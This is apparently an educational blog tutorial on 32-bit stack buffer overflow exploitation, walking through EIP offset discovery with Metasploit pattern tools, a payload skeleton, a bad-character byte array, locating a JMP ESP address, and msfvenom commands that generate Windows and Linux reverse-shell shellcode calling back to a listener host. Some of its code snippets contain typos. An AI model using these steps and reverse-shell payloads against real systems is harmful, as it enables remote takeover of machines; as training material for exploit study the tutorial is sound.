What is buffer overflow
Buffer overflow (BOF) is a vulnerability that occurs when a program process store more data in a block of allocated memory than it can handle. Writing outside the bounds of the allocated memory can corrupt data, crash the program, or cause the execution of malicious code.
How to exploit buffer overflow
In a 32-bit system, when a program calls a function, it initially pushes arguments onto the stack, followed by the return address and the previous EBP. The remaining stack space is allocated for program variables.
Upon completion of the function, the program pops the saved values to return to the previous function.
To illustrate, the program utilizes a buffer to store our input data, storing it in little-endian format. Consequently, our data extends toward the return address location.
When we can overwrite data and return addresses, we can freely manipulate the program’s flow.
Step 1: Control EIP
First, we need to determine the length that causes the crash by fuzzing the program. Then, instead of using “AAAAAAA” to fill the buffer, we can use a long non-repeating string by using msf-pattern_create
, for example, create a 800 byte non-reapting string:
1
msf-pattern_create -l 800
Buffer overflow can corrupt the return address, causing the program to jump to an invalid address and crash. To calculate the length from the buffer to the return address, find the offset of the EIP value in a non-repeating string using msf-pattern_offset
:
1
msf-pattern_offset -l 800 -q <EIP value>
Finally, we have a payload with structure:
1
2
3
4
5
filler = b"A" * 780 # To fill the buffer
eip = b"B" * 4 # To overwrite EIP
offset b= "C" * 4 # To overwrite the offset
nops = "\x90" * 100
ourshell = b"D" * 500 # To overwrite the shellcode
Step 2: checking bad characters
Some characters are forbidden in protocols like HTTP and HTTPS, such as 0x00, 0x0A, 0x0D, 0x25, 0x26, 0x2B, and 0x3D. You can check which characters are forbidden by inputting all possible characters and seeing which ones cause the payload not working.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
Use this to check:
1
2
3
4
5
filler = b"A" * 780 # To fill the buffer
eip = b"B" * 4 # To overwrite EIP
offset b= "C" * 4 # To overwrite the offset
nops = "\x90" * 100
ourshell = badchars
If a character is not allowed, it will break our payload and cause it to stop processing. For example, the 0x0a
character is not allowed, and the shell payload would look like this: \x01\x02\x03\x04\x05\x06\x07\x08\x09\xad\xff\x01\x02...<some gabage bytes>
.
Step 3: Redirect the excution flow
Hardcoding the return address is difficult because the stack address changes at runtime. However, after the ret instruction is executed, the program will pop EIP
and jump to the return address. This means that ESP
register will now point to the first NOP instruction, then slide in our malicious payload. To control the execution flow of this program, we can overwrite the return address with the address of the JMP ESP
instruction.
But the the address of the JMP ESP
instruction:
- Must be static
- Must not contain any of the bad characters
Tools to find:
- Immunity Debugger:
!mona modules
- EDB: OpcodeSearcher plugins
Step 4: Generating shellcode
In Windows:
1
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.4 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
In Linux:
1
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 -b "\x00\x20" -f py -v shellcode